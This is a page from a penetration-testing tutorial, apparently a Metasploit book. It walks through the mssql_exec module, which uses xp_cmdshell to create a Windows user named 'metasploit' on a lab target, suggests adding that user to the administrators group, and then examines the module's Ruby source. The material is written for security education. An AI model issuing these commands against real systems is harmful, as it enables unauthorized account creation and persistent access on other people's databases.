background image

Building Your Own Module

187

 msf auxiliary(mssql_exec) 

> set RHOST 172.16.32.136

RHOST => 172.16.32.136

 msf auxiliary(mssql_exec) > 

set CMD net user metasploit p@55w0rd /ADD 

CMD => net user metasploit p@55w0rd /ADD
msf auxiliary(mssql_exec) > 

exploit 

[*] SQL Query: EXEC master..xp_cmdshell 'net user metasploit p@55w0rd /ADD'

 output
 ------

 The command completed successfully.

[*] Auxiliary module execution completed
msf auxiliary(mssql_exec) >

In this example, we first select the 

mssql_exec

 auxiliary module at  , which 

calls the 

xp_cmdshell

 stored procedure to execute commands. Next, we view 

the module’s options at   and set our target at   and the command to exe-
cute on the target at  . Finally, we run the exploit with 

exploit

, and you can 

see at   that the exploit is successful. We’ve added a user to the system using 
the 

xp_cmdshell

 stored procedure. (At this point we could enter 

net localgroup 

administrators metasploit /ADD

 to add the user to the local administrators group 

on the compromised system.)

You can think of the 

mssql_exec

 module as a command prompt accessible 

via MS SQL.

Exploring an Existing Metasploit Module

Now we’ll examine what is actually occurring “under the hood” of the module 
we just worked with, 

mssql_exec. 

This allows us to get a feel for how existing 

code is operating before we write our own. Let’s open the module with a text 
editor to see how it operates:

root@bt:/opt/framework3/msf3# nano modules/auxiliary/admin/mssql/mssql_exec.rb

The following lines excerpted from the module yield a few important 

things worthy of note:

require 'msf/core' 

class Metasploit3 < Msf::Auxiliary 

include Msf::Exploit::Remote::MSSQL 

        def run

mssql_xpcmdshell(datastore['CMD'], true) 

if mssql_login_datastore
        end